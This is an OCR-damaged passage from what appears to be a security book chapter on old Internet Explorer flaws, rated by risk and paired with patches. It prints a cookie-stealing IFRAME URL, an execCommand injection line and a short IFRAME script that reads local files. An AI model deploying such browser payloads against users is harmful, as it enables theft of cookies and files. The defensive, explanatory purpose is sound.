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Popularity: Simplicity: Impact: Risk Rating: 5 8 2 5
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Here s a scary thought: IE users clicking a purposely crafted URL are potentially vulnerable to having their cookies revealed Bennett Haselton and Jamie McCarthy of Peacefire have posted a script at http://wwwpeacefireorg/security/iecookies that makes this thought a reality It extracts cookies from the client machine simply by clicking a link within this page The contents of cookies residing on the user s machine are readable by this script, and thus are accessible to web site operators This can also be used to nasty effect when sent within inline frame (IFRAME) tags embedded in HTML on a web page (or in HTML-formatted email messages or newsgroup
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posts) The following example suggested by Internet security consultant Richard M Smith points out how IFRAME could be used in conjunction with the Peacefire exploit to steal cookies:
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<iframe src="http://wwwpeacefireorg%2fsecurity%2fiecookies%2f showcookiehtml%3fyahoocom/"></iframe>
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Cookie Jar U Closing the Open patch referenced at http://wwwmicrosoftcom/technet/security/ Obtain and apply the
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bulletin/ms00-033asp Alternatively, cookies can be monitored using Cookie Pal or IE s built-in functionality, as described earlier
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A malicious email message that included many such embedded links could grab cookies on the user s hard drive and return them to the peacefireorg site operators Fortunately, the Peacefire gang seem like nice folk but do you really want them to have all that potentially revealing data
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A little-known feature of Microsoft s Internet Explorer is the cross-domain security model A good description of this concept is provided at http://wwwmicrosoftcom/ technet/security/bulletin/fq00-009asp In a nutshell, the model works invisibly to prevent browser windows created by one web site (the simplest form of an IE domain ) from reading, accessing, or otherwise interfering with data in another site s window A corollary of this model is that HTML frames opened within a window should only be accessible by the parent window if they are in the same domain What makes this model interesting is that the local file system is also considered a domain under IE Thus, a mechanism that somehow violates the cross-domain security model would open up many doors for malicious web site operators to view data not only from other sites visited by users, but even files on their own hard drive Some of these problems are trivially exploitable by use of a few lines of code on a malicious web site or by sending them in an email message Some of the more prominent exploits are discussed next
MUsing IFRAME and IE documentexecCommand to Read Other Domains
Popularity: Simplicity: Impact: Risk Rating: 5 6 7 6
Browser security guru Georgi Guninski has identified several instances where IE cross-domain security breaks down (See his Internet Explorer page at http:// wwwguninskicom/browsershtmlwwwguninskicom/)
16:
Hacking the Internet User
In exploiting these problems, Georgi often leverages the IFRAME tag, mentioned earlier IFRAME is an extension to HTML 40 Unlike the standard HTML FRAME tag, IFRAME creates a floating frame that sits in the middle of a regular nonframed web page, just like an embedded image It s a relatively unobtrusive way of inserting content from other sites (or even the local file system) within a web page and is well suited to accessing data from other domains surreptitiously This particular exploit is a great example of his technique It uses an IFRAME with source set equal to a local file and then injects JavaScript into the IFRAME, which then executes within the local file-system domain If the injected JavaScript contains code similar to
IFRAMEfocus(); documentexecCommand ("command_name")
U Countermeasure to IFRAME and documentexecCommand Apply the patch available at http://wwwmicrosoftcom/technet/security/bulletin/ MIE Frame Domain Verification
Popularity: Simplicity: Impact: Risk Rating: 5 6 7 6
then command_name will be executed within the IFRAME in the context of the local machine s domain If malicious web site operators knew (or could guess) the name and location of a file, they could view any file type that can be opened in a browser window A file like winnt\repair\sam_ cannot be read it activates IE s file download dialog box Georgi has posted sample code that will read the file C:\testtxt if it exists on the user s drive It is available at http://wwwguninskicom/execchtmlwwwguninskicom/
ms99-042asp Alternatively, you could disable Active Scripting by using the same mechanism discussed in the earlier section on security zones
Andrew Nosenko of Mead & Company reported in June 2000 that two functions within IE do not perform proper checking of domain membership, allowing a maliciously crafted HTML page to open a frame containing a local file and read it (see http://wwwntsecuritynet/go/loaderasp iD=/security/ie5-17htm) Not to be outdone, Georgi Guninski posted a similar vulnerability on his site Georgi s code is deceptively simple:
<IFRAME ID="I1"></IFRAME> <SCRIPT for=I1 event="NavigateComplete2(b)"> alert("Here is your file:\n"+bdocumentbodyinnerText); </SCRIPT> <SCRIPT>
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